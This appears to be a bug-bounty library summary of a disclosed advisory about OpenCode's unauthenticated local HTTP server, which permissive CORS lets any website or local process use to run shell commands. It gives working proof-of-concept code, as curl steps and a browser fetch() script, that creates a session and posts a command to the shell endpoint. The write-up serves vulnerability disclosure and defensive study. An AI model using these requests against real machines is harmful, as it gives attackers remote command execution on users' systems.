# OpenCode's Unauthenticated HTTP Server Allows Arbitrary Command Execution

OpenCode auto-starts an unauthenticated HTTP server with permissive CORS, letting any local process or website execute shell commands as the user.

- Payout: Research
- Severity: high
- Program: OpenCode
- Found by: CyberShadow
- Disclosed: 2026-01-13
- CVE: CVE-2026-22812
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-vxw4-wv6m-9hhh
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-vxw4-wv6m-9hhh
- Tags: area:os domain:desktop impact:data-leak impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:source-review vuln:auth-bypass vuln:command-injection vuln:cors vuln:rce

**Target:** Local HTTP server (default port 4096+) spawned by OpenCode CLI/TUI
**Root cause:** Server.listen() is invoked automatically at startup with no authentication middleware, and cors() defaults to Access-Control-Allow-Origin: *, exposing shell/pty/file endpoints to any origin.
**Steps:**
1. `API="http://127.0.0.1:4096"` (update with actual port)
2. `SESSION_ID=$(curl -s -X POST "$API/session" -H "Content-Type: application/json" -d '{}' | jq -r '.id')`
3. `curl -s -X POST "$API/session/$SESSION_ID/shell" -H "Content-Type: application/json" -d '{"agent": "build", "command": "echo PWNED > /tmp/pwned.txt"}'`
4. `cat /tmp/pwned.txt` outputs PWNED
5. Browser variant: `fetch('http://127.0.0.1:4096/session', {method:'POST', headers:{'Content-Type':'application/json'}, body:'{}'})` then POST to `/session/${session.id}/shell` with `{agent:'build', command:'id > /tmp/pwned.txt'}`
**How found:** Code review of server/server.ts and cli/cmd/tui/worker.ts:36 revealed Server.listen() auto-started with no auth middleware and default permissive cors(); enumerated exposed endpoints (shell, pty, file content) and tested browser cross-origin reachability.
**Exploitation:** Attacker creates a session via unauthenticated POST /session, then POSTs a shell command to /session/:id/shell; a malicious website does the same cross-origin against 127.0.0.1:4096 because CORS allows any origin, achieving drive-by RCE in Firefox (Chrome 142+ may prompt for Local Network Access). With --mdns the server binds 0.0.0.0 and advertises via Bonjour, extending to the LAN.
**Escalation:** Enabling --mdns binds the server to 0.0.0.0 and advertises via Bonjour, extending the attack surface from localhost to the entire local network.
**Insight:** Dev-tool localhost servers that auto-start on launch are prime targets: check whether cors() is called with defaults, whether any auth middleware is registered, and whether dangerous endpoints (shell/pty/file read) are reachable cross-origin from a browser — Firefox does not gate local network access like Chrome 142+.

## Proof of concept (copied exactly from the original report)

**curl PoC executing shell command via session endpoint**

```
API="http://127.0.0.1:4096"  # update with actual port
SESSION_ID=$(curl -s -X POST "$API/session" -H "Content-Type: application/json" -d '{}' | jq -r '.id')
curl -s -X POST "$API/session/$SESSION_ID/shell" -H "Content-Type: application/json" \
  -d '{"agent": "build", "command": "echo PWNED > /tmp/pwned.txt"}'
cat /tmp/pwned.txt  # outputs: PWNED
```

**Browser JavaScript fetch PoC for RCE**

```
fetch('http://127.0.0.1:4096/session', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: '{}'
})
.then(r => r.json())
.then(session => {
  fetch(`http://127.0.0.1:4096/session/${session.id}/shell`, {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({agent: 'build', command: 'id > /tmp/pwned.txt'})
```

